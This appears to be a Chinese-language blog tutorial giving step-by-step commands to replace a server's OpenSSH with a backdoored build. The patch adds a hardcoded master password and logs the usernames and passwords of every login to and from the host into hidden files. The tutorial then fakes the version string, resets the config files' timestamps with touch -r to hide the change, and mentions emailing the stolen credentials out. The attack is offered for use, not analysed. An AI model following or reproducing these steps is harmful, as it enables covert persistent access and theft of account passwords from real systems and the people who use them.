1. 查看sshd系统版本
[[email protected] src]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
2. 解压版本,其中patch为补丁包
tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz
tar -zxvf openssh-5.9p1.tar.gz
3. 替换补丁文件,替换前备份文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
cd openssh-5.9p1
patch < sshbd5.9p1.diff # 打补丁就是替换或修改原来的文件
patching file auth.c # 认证
patching file auth-pam.c #认证
patching file auth-passwd.c #认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c # 关于sshd服务端
patching file sshconnect2.c # 关于sshd连接
patching file sshlogin.c # 关于登录,把root密码记录下来
patching file version.h # 关于版本
4. 修改后门密码和记录root密码的文件夹目录
vim includes.h
#define ILOG "/usr/share/ifile" # 记录录到本机的用户名和密码
#define OLOG "/usr/share/ofile" # 记录从本机登录到其他机器的用户名和密码
#define SECRETPW "12345678" # 后门密码
5. 编辑vim version.h,修改版本号与原来一致
原来:OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
6. 编译安装
组件:yum install -y openssl openssl-devel pam-devel zlib zlib-devel gcc
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make -j 4 ;make install
--prefix=/usr # 安装目录
--sysconfdir=/etc/ssh # 指定sshd配置文件
--with-pam # pam认证
--with-kerberos5 # kerberos认证
7. 还原新配置文件为旧配置文件时间
说明:将ssh_config和sshd_config修改时间跟ssh_config.old和sshd_config.old一致
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
8. 重启sshd服务
service sshd restart
9. 验证并查看
登录后再次查看就记录了密码,修改了密码再次登录也会记录
1)记录录到本机的用户名和密码
2)记录从本机登录到其他机器的用户名和密码
3)后门密码登录
10. 配置自动发送邮件
........略
参看文献 http://www.cnblogs.com/croso/p/5280783.html